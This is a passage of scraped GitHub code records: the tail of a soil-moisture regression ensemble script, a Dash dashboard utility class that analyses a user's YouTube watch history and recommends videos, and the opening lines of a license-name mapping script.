integer hour - VIC and FORA are\n retrieved for this date\n X_time_steps: Number of preceding hours to include in sample\n **kw: Ignored\n\n Returns:\n this_hour_data: xarray.Dataset\n '''\n year, month, day, hour = date.year, date.month, date.day, date.hour\n data_arrs = OrderedDict()\n band_order = []\n forecast_time = datetime.datetime(year, month, day, hour, 0, 0)\n data_arrs, band_order = get_nldas_fora_X_and_vic_y(year, month,\n day, hour,\n VIC, band_order=band_order,\n prefix=None,\n data_arrs=data_arrs,\n keep_columns=[SOIL_MOISTURE])\n for hours_ago in range(X_time_steps):\n file_time = forecast_time - datetime.timedelta(hours=hours_ago)\n y, m = file_time.year, file_time.month\n d, h = file_time.day, file_time.hour\n data_arrs, band_order = get_nldas_fora_X_and_vic_y(y, m,\n d, h,\n FORA,\n band_order=band_order,\n prefix='hr_{}'.format(hours_ago),\n data_arrs=data_arrs,\n keep_columns=PREDICTOR_COLS)\n attrs = dict(band_order=band_order)\n return xr.Dataset(data_arrs, attrs=attrs)\n\n\ndef get_y(y_field, X, y=None, sample_weight=None, **kw):\n '''Get the VIC Y column out of a flattened Dataset\n of FORA and VIC DataArrays'''\n assert ('flat',) == tuple(X.data_vars)\n y = X.flat[:, X.flat.band == y_field].values\n flat = X.flat[:, X.flat.band != y_field]\n X2 = xr.Dataset({'flat': flat}, attrs=X.attrs)\n X2.attrs['canvas'] = X.flat.canvas\n X2.attrs['band_order'].remove(y_field)\n return X2, y, sample_weight\n\n\ndef r_squared_mse(y_true, y_pred, sample_weight=None, multioutput=None):\n\n r2 = r2_score(y_true, y_pred,\n sample_weight=sample_weight, multioutput=multioutput)\n mse = mean_squared_error(y_true, y_pred,\n sample_weight=sample_weight,\n multioutput=multioutput)\n bounds_check = np.min(y_pred) > MIN_MOISTURE_BOUND\n bounds_check = bounds_check&(np.max(y_pred) < MAX_MOISTURE_BOUND)\n print('Scoring - std', np.std(y_true), np.std(y_pred))\n print('Scoring - median', np.median(y_true), np.median(y_pred))\n print('Scoring - min', np.min(y_true), np.min(y_pred))\n print('Scoring - max', np.max(y_true), np.max(y_pred))\n print('Scoring - mean', np.mean(y_true), np.mean(y_pred))\n print('Scoring - MSE, R2, bounds', mse, r2, bounds_check)\n return (float(mse),\n float(r2),\n int(bounds_check))\n\n\ndef ensemble_init_func(pipe, **kw):\n '''Create an ensemble of regression models to predict soil moisture\n where PCA, scaling, and/or log transformation may follow preamble\n steps of flattening a Dataset and extracting the Y data, among other\n preprocessors.\n\n Parameters:\n pipe: Ignored\n **kw: Keyword arguments:\n scalers: List of (name, scaler) tuples such as\n [('StandardScaler', steps.StandardScaler(with_mean=True)),\n ('RobustScaler', steps.RobustScaler(with_centering=True))]\n n_components: List of PCA # of components to try. May include None\n if skipping PCA step\n estimators: List of (name, estimator) tuples where estimator\n may be any scikit-learn-like regressor, e.g.\n [('estimator', LinearRegression())]\n log: Log transform step, e.g.:\n ('log', steps.ModifySample(log_scaler))\n summary: String summary of premable steps to prepend to\n parameter summary\n\n Returns:\n ensemble: List of Pipeline instances\n '''\n ensemble = []\n scalers = kw['scalers']\n n_components = kw['n_components']\n pca = kw['pca']\n estimators = kw['estimators']\n preamble = kw['preamble']\n summary_template = kw['summary']\n minmax_bounds = kw['minmax_bounds']\n log = kw['log']\n\n for s_label_0, scale_0 in scalers:\n if 'MinMax' in s_label_0:\n # Make MinMaxScaler objects\n labels = [s_label_0 + repr(mb) for mb in minmax_bounds]\n scalers_with_params = [scale_0(*mb) for mb in minmax_bounds]\n scalers_with_params = zip(labels, scalers_with_params)\n elif scale_0:\n # Just keep the StandardScaler as is\n scalers_with_params = [(s_label_0, scale_0())]\n else:\n # No scaling\n scalers_with_params = [(s_label_0, None)]\n for s_label, scale in scalers_with_params:\n for n_c in n_components:\n for e_label, estimator in estimators:\n scale_step = [scale] if scale else []\n if 'MinMax' in s_label:\n # Log transform only works with MinMaxScaler\n # and positive min bound\n scale_step += [log]\n pca_step = [pca()] if n_c and scale else []\n new = Pipeline(preamble() +\n scale_step +\n pca_step +\n [estimator()],\n **pipeline_kw)\n if pca_step:\n new.set_params(pca__n_components=n_c)\n msg = '{} components'.format(n_c)\n else:\n msg = ' (None)'\n args = (s_label, msg, e_label)\n summary = ': Scaler: {} PCA: {} Estimator: {}'.format(*args)\n new.summary = summary_template + summary\n print(new.summary)\n ensemble.append(new)\n return ensemble\n\n\n_last_idx = 0\ndef next_tag():\n '''Make a tag for a model'''\n global _last_idx\n _last_idx += 1\n return 'new_member_{}'.format(_last_idx)\n\n\ndef model_selection(ensemble, **kw):\n '''Pareto sort the ensemble by objective scores, keeping\n TOP_N_MODELS best models and initializing new models\n to keep the ensemble size constant.'''\n\n # Get the MSE and R2 scores\n scores = np.array([model._score[:-1] for _, model in ensemble])\n # Minimization/maximization weights for MSE and R2 scores\n wts = [-1, 1]\n # Sort by Pareto optimality on MSE, R2 scores\n ensemble = [ensemble[idx] for idx in pareto_front(wts, scores)]\n # Apply some bounds checks:\n # 1) R2 > 0.3 and\n # 2) Minimum predicted soil moisture > -10\n ensemble = [(tag, model) for tag, model in ensemble\n if model._score[1] > MIN_R2 # min R**2 criterion\n and model._score[2]] # mostly postive criterion (moisture)\n # and less than max possible\n print('Scores:', [model._score for _, model in ensemble])\n last_gen = kw['ngen'] - 1 == kw['generation']\n if last_gen:\n return ensemble[:TOP_N_MODELS]\n new = kw['ensemble_init_func'](None)\n np.random.shuffle(new)\n new = [(next_tag(), model) for model in new]\n np.random.shuffle(new)\n return ensemble[:TOP_N_MODELS] + new[:len(ensemble) - TOP_N_MODELS]\n\n\ndef second_layer_input_matrix(X, models):\n '''Build a second layer model input matrix by taking the\n metadata from X given to the first layer models and forming\n a new matrix from the 1-D predictions of the first layer models\n '''\n preds = predict_many(dict(X=X), to_raster=False,\n ensemble=models)\n example = preds[0].flat\n input_matrix = np.empty((example.shape[0], len(preds)))\n for j, pred in enumerate(preds):\n input_matrix[:, j] = pred.flat.values[:, 0]\n attrs = X.attrs.copy()\n attrs['old_dims'] = [X[SOIL_MOISTURE].dims] * len(preds)\n attrs['canvas'] = X[SOIL_MOISTURE].canvas\n tags = [tag for tag, _ in models]\n arr = xr.DataArray(input_matrix,\n coords=[('space', example.space),\n ('band', tags)],\n dims=('space', 'band'),\n attrs=attrs)\n return xr.Dataset(dict(flat=arr), attrs=attrs)\n\n\ndef ensemble_layer_2(pipe, **kw):\n '''A simple model for the second layer (model on models).\n RidgeCV is a good choice in the second layer since\n colinearity is expected among the predictions from the\n first layer that form an input matrix to the second layer'''\n return [Pipeline([RidgeCV()], **pipeline_kw)]\n\n\ndef train_model_on_models(last_hour_data, this_hour_data, init_func):\n '''Given input NLDAS FORA data from last hour and this hour,\n train on the last hour and use the trained models to predict\n the current hour's soil moisture\n\n Parameters:\n\n last_hour_data: Dataset from sampler() function above\n this_hour_data: Dataset from sampler() function above, typically\n one hour later than last_hour_data\n init_func: Partial of ensemble_init_func that can\n be passed to the training function \"ensemble\"\n\n Returns:\n last_hour_data: See above\n this_hour_data: See above\n models: First layer trained Pipelines on last_hour_data\n preds: First layer predictions from \"models\" on this_hour_data\n models2: Second layer trained Pipelines on last_hour_data\n preds2: Second layer predictions from \"models2\" on this_hour_data\n\n '''\n for hour in ('last', 'this'):\n if hour == 'last':\n X = last_hour_data\n else:\n X = this_hour_data\n X_clean, true_y, _ = get_y(SOIL_MOISTURE,\n drop_na_rows(flatten(X)))\n if hour == 'last':\n models = ensemble(None, ngen=NGEN, X=X,\n ensemble_init_func=init_func,\n model_selection=model_selection,\n model_selection_kwargs=dict(ensemble_init_func=init_func))\n else:\n preds = predict_many(dict(X=X),\n ensemble=models)\n X_second = second_layer_input_matrix(X, models)\n X_second.attrs['drop_na_rows'] = X_clean.drop_na_rows\n X_second.attrs['shape_before_drop_na_rows'] = X_clean.shape_before_drop_na_rows\n if hour == 'last':\n models2 = ensemble(None, ngen=1,\n X=X_second, y=true_y,\n ensemble_init_func=ensemble_layer_2)\n else:\n preds2 = predict_many(dict(X=X_second),\n ensemble=models2)\n return last_hour_data, this_hour_data, models, preds, models2, preds2\n\n\ndef avg_arrs(*arrs):\n '''Take the mean of a variable number of xarray.DataArray objects and\n keep metadata from the first DataArray given'''\n s = arrs[0]\n if len(arrs) > 1:\n for a in arrs[1:]:\n s += a\n s = s / float(len(arrs))\n s.attrs.update(arrs[0].attrs)\n return s\n\n\ndef differencing_integrating(X, y=None, sample_weight=None, **kw):\n\n X_time_steps = kw['X_time_steps']\n difference_cols = kw['difference_cols']\n X_time_averaging = kw['X_time_averaging']\n X = X.copy(deep=True)\n X.attrs['band_order'] = X.band_order[:]\n new_X = OrderedDict([(k, getattr(X, k)) for k in X.data_vars\n if k.startswith('hr_0_') or SOIL_MOISTURE == k])\n\n assert len(X.data_vars) == len(X.band_order), repr((len(X.data_vars), len(X.band_order)))\n band_order = list(new_X)\n running_fields = []\n running_diffs = []\n last_hr = 0\n for col in difference_cols:\n for first_hr, second_hr in zip(X_time_averaging[:-1],\n X_time_averaging[1:]):\n for i in range(first_hr, second_hr):\n old = 'hr_{}_{}'.format(first_hr, col)\n new = 'hr_{}_{}'.format(second_hr, col)\n old_array = X.data_vars[old]\n new_array = X.data_vars[new]\n running_fields.append(old_array)\n diff = new_array - old_array\n diff.attrs.update(new_array.attrs.copy())\n running_diffs.append(diff)\n diff_col_name = 'diff_{}_{}_{}'.format(first_hr, second_hr, col)\n new_X[diff_col_name] = avg_arrs(*running_diffs)\n running_diffs = []\n new_X[new] = avg_arrs(*running_fields)\n running_fields = []\n band_order.extend((diff_col_name, old))\n X = xr.Dataset(new_X, attrs=X.attrs)\n X.attrs['band_order'] = band_order\n assert len(X.data_vars) == len(X.band_order), repr((len(X.data_vars), len(X.band_order)))\n return X, y, sample_weight\n\n\ndef log_scaler(X, y=None, sample_weight=None, **kw):\n Xnew = OrderedDict()\n for j in range(X.flat.shape[1]):\n minn = X.flat[:, j].min().values\n if minn <= 0:\n continue\n X.flat.values[:, j] = np.log10(X.flat.values[:, j])\n return X, y, sample_weight\n\n\ndef add_sample_weight(X, y=None, sample_weight=None, **kw):\n '''Modify this function to return a sample_weight\n if needed. sample_weight returned should be a 1-D\n NumPy array. Currently it is weighting the pos/neg deviations.\n '''\n sample_weight = np.abs((y - y.mean()) / y.std())\n return X, y, sample_weight\n\n\npipeline_kw = dict(scoring=make_scorer(r_squared_mse))\nflat_step = ('flatten', steps.Flatten())\ndrop_na_step = ('drop_null', steps.DropNaRows())\nkw = dict(X_time_steps=X_TIME_STEPS,\n X_time_averaging=X_TIME_AVERAGING,\n difference_cols=DIFFERENCE_COLS)\n\ndiff_in_time = ('diff', steps.ModifySample(differencing_integrating, **kw))\nget_y_step = ('get_y', steps.ModifySample(partial(get_y, SOIL_MOISTURE)))\nrobust = lambda: ('normalize', steps.RobustScaler(with_centering=False))\nstandard = lambda: ('normalize', steps.StandardScaler(with_mean=False))\nminmax = lambda minn, maxx: ('minmax',\n steps.MinMaxScaler(feature_range=(minn, maxx)))\nminmax_bounds = [(0.01, 1.01), (0.05, 1.05),\n (0.1, 1.1), (0.2, 1.2), (1, 2),]\nweights = ('weights', steps.ModifySample(add_sample_weight))\nlog = ('log', steps.ModifySample(log_scaler))\npreamble = lambda: [diff_in_time,\n flat_step,\n drop_na_step,\n get_y_step,\n weights,]\n\nlinear = lambda: ('estimator', LinearRegression(n_jobs=-1))\npca = lambda: ('pca', steps.Transform(PCA()))\nn_components = [None, 4, 6, 8, 10]\n\ndef main():\n '''\n Beginning on START_DATE, step forward hourly, training on last\n hour's NLDAS FORA dataset with transformers in a 2-layer hierarchical\n ensemble, training on the last hour of data and making\n out-of-training-sample predictions for the current hour. Makes\n a dill dump file for each hour run. Runs fro NSTEPS hour steps.\n '''\n date = START_DATE\n add_hour = datetime.timedelta(hours=1)\n get_file_name = lambda date: date.isoformat(\n ).replace(':','_').replace('-','_') + '.dill'\n scalers = zip(('MinMaxScaler', 'RobustScaler', 'StandardScaler', 'None'),\n (minmax, robust, standard, None))\n estimators = zip(('LinearRegression', ),\n (linear, ))\n init_func = partial(ensemble_init_func,\n pca=pca,\n scalers=scalers,\n n_components=n_components,\n estimators=estimators,\n preamble=preamble,\n log=log,\n minmax_bounds=minmax_bounds,\n summary='Flatten, Subset, Drop NaN Rows, Get Y Data, Difference X in Time')\n for step in range(NSTEPS):\n last_hour_data = sampler(date, X_time_steps=X_TIME_STEPS)\n date += add_hour\n this_hour_data = sampler(date, X_time_steps=X_TIME_STEPS)\n current_file = get_file_name(date)\n out = train_model_on_models(last_hour_data, this_hour_data, init_func)\n dill.dump(out, open(current_file, 'wb'))\n print('Dumped to:', current_file)\n l2, t2, models, preds, models2, preds2 = out\n layer_1_scores = [model._score for _, model in models]\n layer_2_scores = [model._score for _, model in models2]\n print('Scores in layer 1 models:', layer_1_scores)\n print('Scores in layer 2 models:', layer_2_scores)\n return last_hour_data, this_hour_data, models, preds, models2, preds2\n\nif __name__ == '__main__':\n last_hour_data, this_hour_data, models, preds, models2, preds2 = main()\n\n","repo_name":"ContinuumIO/elm","sub_path":"examples/nldas_soil_moisture_ml.py","file_name":"nldas_soil_moisture_ml.py","file_ext":"py","file_size_in_byte":22409,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"35"} +{"seq_id":"72668547941","text":"import base64\nfrom datetime import datetime\nimport re\nfrom dateutil import parser\nimport io\n\nfrom dash import dcc, html, dash_table\nimport dash_bootstrap_components as dbc\nfrom components import header, uploader, filter\nimport plotly.express as px\nimport plotly.graph_objects as go\nfrom apiFacade import YoutubeHelper\nfrom collections import defaultdict\nimport numpy as np\nfrom scipy.ndimage import gaussian_gradient_magnitude\nimport warnings; warnings.filterwarnings(\"ignore\")\nfrom config.definitions import ROOT_DIR\nimport os\nimport pandas as pd\n\n# Added for word cloud\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\nfrom PIL import Image\n\nclass Utils:\n\n TZ_DICT = {'US/Mountain':'MST', 'US/Pacific':'PST', 'US/Central':'CST', 'US/Eastern':'EST'}\n AGGR_DICT = {'Y':'Yearly','Q':'Quarterly','SM':'Semi-Monthly','M':'Monthly', 'W':'Weekly'}\n\n def __init__(self):\n self.data = []\n self.data_rec = []\n self.cloud_words = {}\n self.yth = YoutubeHelper(\"Place API_KEY here\")\n\n\n #region Youtube API data cleaning \n def clean_video_details(self):\n # Extract ids from watched history urls\n watched_videos = self.data[self.data[\"details\"].notnull() == False]\n watched_videos = watched_videos[watched_videos[\"titleUrl\"].notna()]\n\n ids = []\n categories = self.clean_categories()\n\n for index,video in watched_videos.iterrows():\n ids.append(video[\"titleUrl\"].replace(\"?v=\",\"/\").split(\"watch/\")[1])\n watched_videos.loc[index, \"id\"] = video[\"titleUrl\"].replace(\"?v=\",\"/\").split(\"watch/\")[1]\n\n data_norm = pd.DataFrame()\n for i in range(0,len(ids)-50,50):\n # for i in range(0,100,50):\n ids_s = \",\".join(ids[i+1:i+50])\n video_data_details = self.yth.get_video_details(ids_s)\n data_norm = pd.concat([data_norm, pd.json_normalize(video_data_details[\"items\"])])\n\n ids_s = \",\".join(ids[i+1:i+np.mod(len(ids),50)])\n video_data_details = self.yth.get_video_details(ids_s)\n data_norm = pd.concat([data_norm, pd.json_normalize(video_data_details[\"items\"])])\n data_norm = data_norm.rename(columns={\"snippet.title\": \"title\",\n \"snippet.description\": \"description\",\n \"contentDetails.duration\": \"duration\",\n \"snippet.categoryId\": \"categoryId\",\n \"snippet.tags\": \"tags\",\n \"statistics.viewCount\": \"viewCount\",\n \"statistics.likeCount\": \"likeCount\",\n \"statistics.commentCount\": \"commentCount\"})\n data_norm = data_norm.merge(watched_videos[[\"id\",\"date\"]], how=\"left\", on=\"id\")\n data_norm['categoryName'] = data_norm.apply(lambda x: categories[x['categoryId']][\"categoryName\"], axis=1)\n data_norm.sort_index(inplace=True)\n\n return data_norm[[\"id\",\"date\",\"categoryName\",\"tags\",\"title\",\"description\",\"duration\",\"categoryId\",\"viewCount\",\"likeCount\",\"commentCount\"]]\n \n def clean_categories(self, location=\"US\"):\n category_details = self.yth.get_video_category(location)\n data_norm = pd.json_normalize(category_details[\"items\"])\n data_norm = data_norm.rename(columns={\"snippet.title\": \"categoryName\"})\n\n return data_norm[[\"id\",\"categoryName\"]].set_index(\"id\").to_dict('index')\n \n def top_watch(self, data):\n data['count'] = 1\n dfcount = data.groupby([\"title\",\"categoryName\",\"viewCount\",\"likeCount\"], as_index = False)['count'].sum().sort_values(by =['count'],ascending=False).head(5)\n self.data_rec = (dfcount.merge(data[[\"title\",\"tags\"]], how=\"left\", on=\"title\")).drop_duplicates(['title'])\n \n del dfcount['count']\n dfcount['viewCount'] = dfcount['viewCount'].apply(lambda x: \"{:,}\".format(int(x)))\n dfcount['likeCount'] = dfcount['likeCount'].apply(lambda x: \"{:,}\".format(int(x)))\n dfcount = dfcount.rename(columns={'title':'Title', 'categoryName':'Category','viewCount':'Overall Views','likeCount':'Overall Likes'})\n dfdic = dfcount.to_dict('records')\n dfcol = [{\"name\": i, \"id\": i} for i in (dfcount.columns)]\n return dfdic, dfcol\n\n def get_video_rec(self):\n x = np.array(list(self.cloud_words.keys()))\n y = np.array(list(self.cloud_words.values()))\n order = np.argsort(y)[::-1]\n x = x[order]\n\n key_words = list(self.data_rec[\"tags\"].explode())\n res_t = [str(idx) for idx in key_words if not re.findall(\"[^\\u0000-\\u05C0\\u2100-\\u214F]+\", str(idx))]\n res_x = [str(idx) for idx in x if not re.findall(\"[^\\u0000-\\u05C0\\u2100-\\u214F]+\", str(idx))]\n merged_words = res_x + res_t\n param_merged_words = \"|\".join(merged_words)\n search_response = self.yth.search(param_merged_words,len(param_merged_words))\n video_ids = pd.json_normalize(search_response[\"items\"])[\"id.videoId\"]\n v_ids_s = \",\".join(video_ids)\n video_data_details = self.yth.get_video_details(v_ids_s)\n df = pd.json_normalize(video_data_details[\"items\"])\n df = df.rename(columns={\"snippet.title\": \"title\",\n \"snippet.thumbnails.default.url\": \"thumbnail\",\n \"statistics.viewCount\": \"viewCount\",\n \"statistics.likeCount\": \"likeCount\",\n \"snippet.channelTitle\": \"channelTitle\"})\n df = df[[\"title\",\"thumbnail\",\"viewCount\",\"likeCount\",\"channelTitle\"]].dropna(subset=['viewCount'])\n df['viewCount'] = df['viewCount'].astype('int')\n df = df.sort_values(by=\"viewCount\", ascending=False)\n return df[:5]\n\n #endregion\n\n #region Parsers\n def parse_contents(self, contents, filename, date):\n content_type, content_string = contents.split(',')\n decoded = base64.b64decode(content_string)\n try:\n if 'json' in filename:\n self.data = (\n pd.read_json(io.BytesIO(decoded), convert_dates=[\"time\"])\n .assign(date=lambda data: pd.to_datetime(data[\"time\"], format=\"%B %d, %Y\"))\n .sort_values(by=\"date\")\n )\n self.data.set_index('date')\n self.data_cleaned = self.clean_video_details()\n self.data_with_ads = self.data[[\"date\",\"title\"]]\n else:\n return html.Div([\n 'The file should be in json format'\n ])\n except Exception as e:\n print(e)\n return html.Div([\n 'There was an error processing this file.'\n ])\n \n cloud = self.load_word_cloud(self.data_cleaned)\n return html.Div([\n filter.filter_by_date(self.data['date'].min(), self.data['date'].max()),\n dbc.Row(\n children=[\n dbc.Col(\n dcc.Graph(\n id='views-scatter',\n figure=self.load_scatter(self.data_cleaned)\n ),style = {'marginLeft':'1px', 'marginTop':'7px', 'marginRight':'1px'}\n ),\n dbc.Col(\n dcc.Graph(\n id=\"ads-graph\",\n figure=self.load_graph(self.data)\n ),style = {'marginLeft':'1px', 'marginTop':'7px', 'marginRight':'1px'}\n )\n ]\n ),\n\n dbc.Row(\n children=[\n dbc.Col(\n html.Div(children=[\n dcc.Dropdown(self.AGGR_DICT, placeholder='Yearly', id='g-dropdown'),\n dcc.Graph(\n id='genre-graph',\n figure=self.load_genre_graph(self.data_cleaned)\n )\n ]),style = {'marginLeft':'1px', 'marginTop':'7px', 'marginRight':'1px'}),\n dbc.Col(\n html.Div(children=[\n dcc.Dropdown(self.TZ_DICT, placeholder='PST', id='tz-dropdown'),\n dcc.Graph(\n id='time-graph',\n figure=self.load_time_trend_graph(self.data_cleaned)\n )\n ])\n ,style = {'marginLeft':'1px', 'marginTop':'7px', 'marginRight':'1px'})\n ]\n ),\n dbc.Row(\n children=[\n dbc.Col([\n html.Label(\"My Most Watched Videos\", style={'font-family':'sans-serif',\n 'fontWeight': 'bold',\n 'font-size': '1.em',\n 'color': '#d9230f'}),\n dash_table.DataTable(\n data = self.top_watch(self.data_cleaned)[0],\n columns = self.top_watch(self.data_cleaned)[1],\n id = 'top-watch',\n style_table = {'overflowX': 'auto'},\n style_cell={'font-family':'sans-serif'},\n style_as_list_view=True,\n style_header={\n 'backgroundColor': '#f8f8f8',\n 'fontWeight': 'bold',\n 'textAlign': 'left'\n },\n style_data={\n 'color': 'black',\n 'height': 'auto',\n 'backgroundColor': '#fcfcfc',\n 'textAlign': 'left'\n },\n style_data_conditional=[\n {\n 'if': {'row_index': 'odd'},\n 'backgroundColor': '#f8f8f8',\n 'height': 'auto',\n 'textAlign': 'left'\n }\n ],\n ),\n ],style = {'marginLeft':'1px', 'marginTop':'7px', 'marginRight':'1px'}) \n ] \n ),\n html.Hr(),\n dbc.Button(\n \"Toggle Word Cloud\",\n id=\"toggle-word-cloud-button\",\n className=\"mb-3\",\n color=\"primary\",\n n_clicks=0,\n ),\n dbc.Collapse(\n dbc.Row(\n children=[\n dbc.Col([\n html.Img(id='word-cloud', src=cloud[0][0], width=cloud[0][1], height=cloud[0][2],\n style={'maxWidth': 'auto', 'height': 'auto',\n 'margin': '0 auto', 'display': 'block'})\n ],style = {'marginLeft':'1px', 'marginTop':'7px', 'marginRight':'1px'}),\n ]\n ),\n id=\"toggle-word-cloud\",\n is_open=False,\n dimension=\"width\"\n ),\n html.Hr(),\n dbc.Button(\n \"Toggle History Based Recommendation\",\n id=\"toggle-hist-rec-button\",\n className=\"mb-3\",\n color=\"primary\",\n n_clicks=0,\n ),\n dbc.Collapse(\n dbc.Row(\n children=[\n dbc.Col([\n html.Div(id='container-rec',\n children=[dbc.Table.from_dataframe(self.load_recommendation(),\n striped=True, \n bordered=True,\n hover=True,\n style={'font-family':'sans-serif'})\n ])\n ]) \n ] \n ),\n id=\"toggle-hist-rec\",\n is_open=False,\n dimension=\"width\"\n ),\n html.Hr()\n ])\n \n def parse_date(self, start_date, end_date):\n start_date_string = None\n end_date_string = None\n if start_date is not None:\n start_date_object = parser.isoparse(start_date)\n start_date_string = start_date_object.strftime('%B %d, %Y')\n if end_date is not None:\n end_date_object = parser.isoparse(end_date)\n end_date_string = end_date_object.strftime('%B %d, %Y')\n return (start_date_string, end_date_string)\n\n def aggregate_by_time(self, data, timezone):\n data.index = pd.to_datetime(data['date'], utc=True)\n data.index = data.index.tz_convert(timezone)\n data['hour'] = data.index.hour\n data_grouped = data.groupby(data['hour']).size().reset_index(name ='count')\n data_grouped[\"h_percentage\"] = data_grouped[\"count\"]/len(data['hour']) *100\n data_grouped.index = data_grouped['hour']\n return data_grouped.reindex(np.arange(0, 23 + 1), fill_value=0)\n\n def filter_by_date_range_ads(self, start, stop):\n if start is not None and stop is not None:\n return (self.data[(self.data[\"date\"] > start) \\\n & (stop > self.data[\"date\"])])\n \n return self.data\n \n def filter_by_date_range(self, start, stop):\n if start is not None and stop is not None:\n return (self.data_cleaned[(self.data_cleaned[\"date\"] > start) \\\n & (stop > self.data_cleaned[\"date\"])])\n \n return self.data_cleaned\n #endregion\n\n #region DOM components\n def load_scatter(self, data):\n fig = px.scatter(x=data['date'],\n y=data['viewCount'],\n hover_name=data['title']\n )\n\n fig.update_xaxes(title=\"Date\")\n fig.update_yaxes(title=\"Global Views\", type='log')\n fig.update_layout(margin={'l': 40, 'b': 40, 't': 10, 'r': 0}, hovermode='closest')\n\n fig.update_layout(\n title=dict(x=0.5, text=\"Popularity of Watched Videos\"), \n xaxis_title=\"Date\",\n yaxis_title=\"Views\",\n margin=dict(l=20, r=20, t=60, b=20),\n paper_bgcolor=\"aliceblue\"\n )\n return fig\n \n def load_time_trend_graph(self, data, tz='US/Pacific'):\n \n fig = go.Figure()\n hour_data = self.aggregate_by_time(data, tz)\n \n fig.add_trace(go.Scatter(y=hour_data['h_percentage'], x=hour_data.index, fill='tozeroy',\n mode='none'\n ))\n \n fig.update_layout(\n title=dict(x=0.5, text=\"Watched Video Hourly Trend\"), \n xaxis_title=\"Hour\",\n yaxis_title=\"%\",\n margin=dict(l=20, r=20, t=60, b=20),\n paper_bgcolor=\"aliceblue\"\n )\n return fig\n \n def load_genre_graph(self, data, freq='Y'):\n date_span = []\n fig = go.Figure()\n genre = defaultdict(list)\n grouped_data = data.groupby([pd.Grouper(key = 'date', freq=freq)])\n categories = set(data['categoryName'])\n\n for r in grouped_data:\n if r[1].empty:\n continue\n\n date_span.append(r[0])\n category_span = set(r[1]['categoryName'])\n missing_groups = list(categories-category_span)\n tmpdf = r[1].groupby(['categoryName']).size().reset_index(name ='count')\n\n for c in missing_groups:\n tmpdf = pd.concat([tmpdf, pd.DataFrame.from_records([{\"categoryName\":c,\"count\":0}])])\n \n for i,r in tmpdf.iterrows():\n genre[r[\"categoryName\"]].append(r[\"count\"])\n\n for k,v in genre.items():\n fig.add_trace(go.Bar(x=date_span, y=v, name=k))\n\n fig.update_layout(\n barmode='group',\n title=dict(x=0.5, text=\"Genre Over Time\"), \n xaxis_title=\"Date\",\n yaxis_title=\"Personal Views\",\n margin=dict(l=20, r=20, t=60, b=20),\n paper_bgcolor=\"aliceblue\"\n )\n return fig\n\n def load_graph(self, data):\n ads = data.count()[\"details\"]\n total = data.count()[\"title\"] - ads\n\n trace1 = go.Bar( #setup the chart for Resolved records\n x=[\"Ads\", \"Videos\"], #x for Resolved records\n y=[ads,total],#y for Resolved records\n marker_color=px.colors.qualitative.Dark24[0], #color\n textposition=\"outside\" #text position\n )\n layout = go.Layout(barmode=\"group\", title=\"Ads vs Watched Videos\") #define how to display the columns\n fig1 = go.Figure(data=trace1, layout=layout)\n fig1.update_layout(\n title=dict(x=0.5), #center the title\n xaxis_title=\"Type\",#setup the x-axis title\n yaxis_title=\"Count\", #setup the x-axis title\n margin=dict(l=20, r=20, t=60, b=20),#setup the margin\n paper_bgcolor=\"aliceblue\", #setup the background color\n )\n\n return fig1\n \n def videos_rec(self, video_data):\n if len(video_data) > 0:\n return html.Div([\n html.H1('Recommended YouTube Videos'),\n dbc.Table([\n html.Thead(html.Tr([\n html.Th('Thumbnail'),\n html.Th('Title'),\n html.Th('Channel'),\n html.Th('Views'),\n html.Th('Likes'),\n ])),\n html.Tbody([\n html.Tr([\n html.Td(html.Img(src=video['thumbnail'], height='90px')),\n html.Td(html.A(video['title'], href=video['url'], target='_blank')),\n html.Td(video['channel']),\n html.Td(video['views']),\n html.Td(video['likes']),\n ]) for video in video_data\n ])\n ])\n ])\n else:\n return html.Div([\n html.H1('No recommended videos found')\n ])\n \n def load_recommendation(self):\n data = self.get_video_rec()\n data['thumbnail'] = data['thumbnail'].apply(lambda x: html.Img(src=x, height='90px'))\n data['viewCount'] = data['viewCount'].apply(lambda x: \"{:,}\".format(int(x)))\n data['likeCount'] = data['likeCount'].apply(lambda x: \"{:,}\".format(int(x)))\n data = data.rename(columns={'title':'Title', 'thumbnail':'Thumbnail','viewCount':'Overall Views','likeCount':'Overall Likes','channelTitle':'Channel'})\n return data\n \n def load_word_cloud(self, data):\n # Create the mask\n youtube_logo = os.path.join(ROOT_DIR, 'assets', 'youtube_logo.png')\n\n logo = np.array(Image.open(youtube_logo))\n\n # create mask white is \"masked out\"\n logo_mask = logo.copy()\n logo_mask[logo_mask.sum(axis=2) == 0] = 255\n edges = np.mean([gaussian_gradient_magnitude(logo[:, :, i] / 255., 2) for i in range(3)], axis=0)\n logo_mask[edges > .08] = 255\n \n # Concatenate every entry in the table to one string \n text = \"\"\n data = data.drop_duplicates(['title']).dropna(subset=['viewCount'])\n data['viewCount'] = data['viewCount'].astype('int')\n data = data.sort_values(by=\"viewCount\", ascending=False)\n\n # Grab top 20%\n l_data = len(data)\n if l_data > 1:\n top = int(l_data*0.2)\n data = data[:top]\n\n for ind in data.index:\n text = text + \" \" + data['title'][ind].lower() + '.'\n\n # Create word cloud!\n stopwords = set(STOPWORDS)\n stopwords.update(['short', 'shorts', 'ft', 'official','let','feat'])\n\n cloud = WordCloud(width=400, height=200, mask=logo_mask, background_color='#fcfcfc',\n stopwords=stopwords, max_words=l_data,\n random_state=42,max_font_size=40, min_word_length=3,\n scale=0.7,relative_scaling='auto', prefer_horizontal=0.4).generate(text)\n self.cloud_words = cloud.words_\n\n try:\n coloring = ImageColorGenerator(logo_mask)\n cloud.recolor(color_func=coloring)\n except:\n pass\n image = cloud.to_image()\n \n # Create bar chart\n byte_io = io.BytesIO()\n image.save(byte_io, 'PNG')\n byte_io.seek(0)\n data_uri = base64.b64encode(byte_io.getvalue()).decode('utf-8').replace('\\n', '')\n src = 'data:image/png;base64,{0}'.format(data_uri)\n\n return (src, image.size[0], image.size[1])\n\n #endregion\n","repo_name":"cala21/youtube_replay","sub_path":"app/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":21404,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"72685208101","text":"import collections\nimport os \nimport re\nimport sys\nimport time\n\nlicense_dict = {}\n# The Apache Software License, Version 2.0\nlicense_dict[\"The Apache Software License, Version 2.0\"] = \"The Apache Software License, Version 2.0\"\nlicense_dict[\"Apache 2.0\"] = \"The Apache Software License, Version 2.0\"\nlicense_dict[\"Apache License, Version 2.0\"] = \"The Apache Software License, Version 2.0\"\nlicense_dict[\"Apache License 